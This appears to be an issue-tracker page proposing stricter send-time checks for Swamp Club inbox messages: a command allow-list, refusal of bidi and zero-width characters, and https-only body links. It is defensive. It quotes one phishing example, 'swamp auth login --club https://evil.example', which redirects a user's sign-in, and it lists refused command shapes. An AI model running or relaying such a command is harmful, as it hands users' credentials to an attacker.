Skip to main content
← Back to list
01Issue
FeatureIn ProgressSwamp ClubPublic
Assigneesstack72

Relationships

#4086 Swamp Club inbox send-time checks match the CLI from #4079: an allow-list for action commands, no bidi or zero-width characters, and absolute https-only body links

Opened by stack72 · 10/28/2026

Summary

Bring Swamp Club's send-time checks for terminal messages in line with the stricter rules the swamp CLI applies from swamp-club#4079. The CLI now drops or rewrites three things that Swamp Club still accepts:

  • an action command outside a short allow-list
  • bidi and zero-width characters
  • body links that are not absolute https: URLs

Today an author gets no warning; the message sends, and the CLI silently drops the action or prints (link removed). Refuse these at send time and on edit, with a clear error, so what an author sends is what users see.

The CLI is the stricter side, so shipping it first is safe. Ship this soon after, so authors stop sending content that gets dropped.

Validation lives in lib/domain/notification/terminal-message.ts (assertInboxAction, assertTerminalMessage, isSafeSwampCommand). Its comment says the limits mirror swamp's src/infrastructure/http/inbox_schemas.ts, and #4079 changes that file.

1. Action command allow-list

Keep SAFE_SWAMP_COMMAND_RE and the 200-character limit. In addition, the command must match one of the CLI's INBOX_ACTION_COMMANDS (#4079, src/infrastructure/http/inbox_schemas.ts):

Command Argument
swamp update none
swamp quest none
swamp inbox none
swamp inbox read none
swamp subscription status none
swamp subscription start none
swamp subscription start --collective <slug> one word matching ^[a-z0-9][a-z0-9-]*$
swamp extension pull <name> one word matching ^@[a-z0-9_-]+/[a-z0-9_-]+(/[a-z0-9_-]+)*$
swamp extension search <words> one or more words, each matching ^[A-Za-z0-9_][A-Za-z0-9_-]*$
swamp issue get <number> one word matching ^[1-9][0-9]*$
  • Words are separated by single spaces.
  • No other words are allowed after the argument.
  • Any word containing :// is refused, whatever its position.

Error: action.command must be one of the commands the swamp CLI shows: swamp update, swamp quest, … (list them all).

This closes a phishing path. Without the list, a message could suggest swamp auth login --club https://evil.example, which sends the user's sign-in to another server, and an agent relaying the message might run it.

2. Bidi and zero-width characters

The CLI strips these from title, kind, action.label, body and link:

  • U+061C
  • U+200B to U+200F
  • U+202A to U+202E
  • U+2060
  • U+2066 to U+2069
  • U+FEFF

A right-to-left override can make a terminal show a link reversed, and a zero-width space can split a host name invisibly. Refuse them at send time in title, label and body, with an error naming the field.

The CLI prints each link in a message body as text (href), using the URL as parsed. A look-alike host therefore shows as punycode. A link that is not an absolute https: URL, or that carries a username or password, prints as text (link removed). That includes site-relative links like [pricing](/pricing), which the CLI cannot resolve.

At send time, check every link in the body: inline links, reference links and autolinks.

  • Resolve site-relative links against the public origin, as isTerminalLink already does for the link field, and store them absolute.
  • Refuse anything that is still not https: without a username or password.
  • When a host's punycode form differs from what was typed, which means non-ASCII characters, show the author a warning with both forms. Don't refuse it.

Keeping the two sides in step

  • Test the new rules against a table of the same inputs the CLI's inbox_schemas_test.ts uses. Every allowed shape must pass; auth login --club …, auth logout, workflow run x, any :// word and --repo-dir must be refused.
  • Put a comment next to the allow-list naming INBOX_ACTION_COMMANDS in the swamp repo, so the next change to either list touches both.

Acceptance

  • An action outside the allow-list is refused at send and on edit, with the list in the error
  • Bidi and zero-width characters in title, label or body are refused, naming the field
  • Body links are stored absolute and https:-only; other links are refused, and a non-ASCII host gets a warning
  • Messages already stored are not changed. The CLI handles them as #4079 describes
  • The admin composer preview (#4020) shows the same result the CLI would

Out of scope

  • The CLI side (#4079)
  • Rate limits and segments (#4020)
02Bog Flow
✓OPEN✓TRIAGED◉IN PROGRESS○SHIPPED+ 1 MOREASSIGNED+ 5 MOREREVIEW+ 1 MOREIMPLEMENTATION

In Progress

10/28/2026, 9:53:59 PM

Click a lifecycle step above to view its details.

03Sludge Pulse
stack72 assigned stack7210/28/2026, 9:33:15 PM
Editable. Press Enter to edit.

system commented 10/28/2026, 6:55:58 PM

Classified automatically when this issue was filed.

  • Source: Swamp Club

If you feel this classification is incorrect, add a ripple to tell us so.

Sign in to post a ripple.